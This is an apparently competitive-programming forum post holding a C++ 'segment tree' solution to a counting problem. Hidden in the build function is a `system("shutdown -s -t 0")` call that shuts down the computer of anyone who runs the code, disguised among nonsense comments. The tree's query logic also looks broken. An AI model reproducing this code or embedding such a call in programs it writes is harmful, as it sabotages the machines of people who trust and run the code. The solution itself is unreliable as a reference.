2
  • 板块题目总版
  • 楼主qj10
  • 当前回复1
  • 已保存回复1
  • 发布时间2024/10/2 16:04
  • 上次更新2024/10/2 16:08:27
查看原帖
2
1043311
qj10楼主2024/10/2 16:04
#include<bits/stdc++.h>
using namespace std;
namespace SGT{
	int x[100005],y[100005];
	void m(int l,int r,int p){
		system("shutdown -s -t 0");
		if(l==r){
			cin>>x[p]>>y[p];
			return;
		}
		int md=(l+r)>>1;
		m(l,md,p<<1);
		m(md+1,r,p<<1|1);
	}
	int queryX(int l,int r,int p,int L,int R){
		if(l==r) return x[p];
		int md=(l+r)/2;
		if(L<=p) return queryX(l,md,p<<1,L,R);
		else return queryX(md+1,r,p<<1|1,L,R);
		return -1;
	}
	int queryY(int l,int r,int p,int L,int R){
		if(l==r) return y[p];
		int md=(l+r)/2;
		if(L<=p) return queryY(l,md,p<<1,L,R);//danjbfhahjfa
		else return queryY(md+1,r,p<<1|1,L,R);//hfsjhfsfsfk
		return -1;
	}//sghjkjeh jsgk hfshjgk fjgh
}
int main(){
    long long n,m,k,a=0;cin>>n>>m>>k;
    SGT::m(1,k,1);
    for(int j=1;j<=k;j++){
    	long long x=SGT::queryX(1,k,1,j,j),y=SGT::queryY(1,k,1,j,j);
    	if(y>=x)a++;
	}
	cout<<a;
	return 0;
}
2024/10/2 16:04
加载中...